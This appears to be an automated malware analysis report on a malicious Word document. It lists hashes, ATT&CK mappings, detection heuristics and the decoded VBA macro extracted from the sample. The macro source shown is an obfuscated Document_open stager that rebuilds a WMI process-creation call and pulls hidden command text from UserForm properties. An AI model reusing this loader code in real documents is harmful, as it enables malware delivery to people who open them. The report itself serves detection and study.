Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 93bd09eaea0c98b7…

MALICIOUS

Office (OLE)

168.2 KB Created: 2020-07-22 16:26:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: f41258ee50302018a02790efb505ddc3 SHA-1: 16a326eae28c5f74913a7665a96fc0b51cd18ae4 SHA-256: 93bd09eaea0c98b747d9e5bd9b315824286a6e43cb42832b7cb1ccaa3d2e8c6c
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro triggers a command stager that uses 'CreateObject' and reads UserForm properties, indicative of an attempt to download and execute a second-stage payload. The ClamAV detection 'Doc.Malware.Sagent-9230581-0' further supports its malicious nature.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9230581-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9230581-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10177 bytes
SHA-256: 541c85ce0d3551ec874ff85ddcc90076281f1bc44d5d681a48838998aa9d0295
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "cuavcaichpeic"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
cheexnijbeuyvos
End Sub


Attribute VB_Name = "poxwaimleuh"
Attribute VB_Base = "0{B8B39EBC-CBB7-4E4F-B17F-818E9E5929E5}{F9107AF8-F4ED-4F32-9564-F387B519A0C1}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "fiethmoegquooch"
Function cheexnijbeuyvos()
neatkaicweuz = Chr(poxwaimleuh.Zoom + Int(5 * 3))
Dim c7ÓATOQe2Ëj As Integer
c7ÓATOQe2Ëj = 6
Do While c7ÓATOQe2Ëj < 6 + 2
c7ÓATOQe2Ëj = c7ÓATOQe2Ëj + 5: DoEvents
Loop
waibduvyuamquoat = "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqw2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqm2342772g3&*gs7712ffvs626fqgm2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqt2342772g3&*gs7712ffvs626fq" + neatkaicweuz + "2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fq:w2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqin2342772g3&*gs7712ffvs626fq322342772g3&*gs7712ffvs626fq_2342772g3&*gs7712ffvs626fq" + poxwaimleuh.xouqusuup + "2342772g3&*gs7712ffvs626fqr2342772g3&*gs7712ffvs626fqo2342772g3&*gs7712ffvs626fq2342772g3&*gs7712ffvs626fqc2342772g3&*gs7712ffvs626fqes2342772g3&*gs7712ffvs626fqs2342772g3&*gs7712ffvs626fq"
Dim t0Á7ÖVhC As String
t0Á7ÖVhC = Replace$("NrsGblssw", "NrsGbl", "jeSyf")
zootkaedxaig = diofdauqukeowqueux(waibduvyuamquoat)
Dim aboKTWBmOV As Variant
Set xiwlear = CreateObject(zootkaedxaig)
Dim Li2ÚJ8âfUTJJ As Boolean
lawmoofvaeg = poxwaimleuh.maichhubveuqu.ControlTipText
Dim Wmuaj As String
Wmuaj = Replace$("LqdFaWZRoPXoybkSqY", "LqdFaWZRoP", "nIEI6Ý")
foxvuay = zootkaedxaig + neatkaicweuz + poxwaimleuh.chiathvuap.ControlTipText + lawmoofvaeg
Dim lgiLh7Ë As Object
piyquoixvaej = foxvuay + poxwaimleuh.xouqusuup
Dim FZV4ÇKPQ As Integer
FZV4ÇKPQ = 4
Do While FZV4ÇKPQ < 4 + 5
FZV4ÇKPQ = FZV4ÇKPQ + 3: DoEvents
Loop
Set leixgoihxaivwoox = voiwnoocyeep(piyquoixvaej)
Dim kRpYwyW As String
kRpYwyW = Replace$("f4åL5åJqZNvlk", "f4åL5åJ", "TFRkfTygd")
xve = Array _
("1234444123", xiwlear. _
Create(xuuchjiosgoozqueav, ziakjionloackeich, leixgoihxaivwoox), "9938723")
Dim C0ÄjVh As Integer
C0ÄjVh = 9
Do While C0ÄjVh < 9 + 1
C0ÄjVh = C0ÄjVh + 1: DoEvents
Loop
End Function
Function diofdauqukeowqueux(quoesthoitroog)
jeequjaofwaid = quoesthoitroog
Dim QSuRcu As Currency
chuxveugliw = Split(jeequjaofwaid, "2342772g3&*gs7712ffvs626fq")
Dim J1Â8ÀXwEwAd As String
J1Â8ÀXwEwAd = Replace$("UBZIWrn7ÆJAPVmt", "UBZI", "hsvq")
moicyiacziob = csqw + Join(chuxveugliw, eihnx)
Dim gBv As Object
diofdauqukeowqueux = moicyiacziob
Dim lqsqsHrCH As Boolean
End Function
Function xuuchjiosgoozqueav()
sjiqw = poxwaimleuh.deijxoech.Pages(10 / 10).ControlTipText
Dim ISXQDR As Integer
ISXQDR = 2
Do While ISXQDR < 2 + 7
ISXQDR = ISXQDR + 9: DoEvents
Loop
xuuchjiosgoozqueav = diofdauqukeowqueux(sjiqw)
Dim kbqvO4Ä7Çr As Byte
End Function
Function voiwnoocyeep(giosthas)
Set voiwnoocyeep = CreateObject(giosthas)
Dim vPu As String
vPu = Replace$("BenqV1áigVwifwdQq", "BenqV1ái", "on5Â")
voiwnoocyeep _
. _
showwindow = (weugpeej + goehxeel) + (deaqucenvaox + dauddaewgoey)
Dim osWIUnikOk As String
osWIUnikOk = Replace$("cLwhWVLMDSQFh3ÔT7É", "cLwhWVLMDS", "AvYXNNS")
End Function


' Processing file: /opt/analyzer/scan_staging/5f4accd7dcf34ca2a31f3d3a5d07674b.bin
' ===============================================================================
' Module streams:
' Macros/VBA/cuavcaichpeic - 1365 bytes
' Line #0:
' 	LineCont 0x0004 02 00 00 00
' 	FuncDefn (Sub cuavcaichpeic())
' Line #1:
' 	ArgsCall Document_open 0x0000 
' Line #2:
' 	EndSub 
' Line #3:
' Macros/VBA/poxwaimleuh - 1191 bytes
' Ma
... (truncated)

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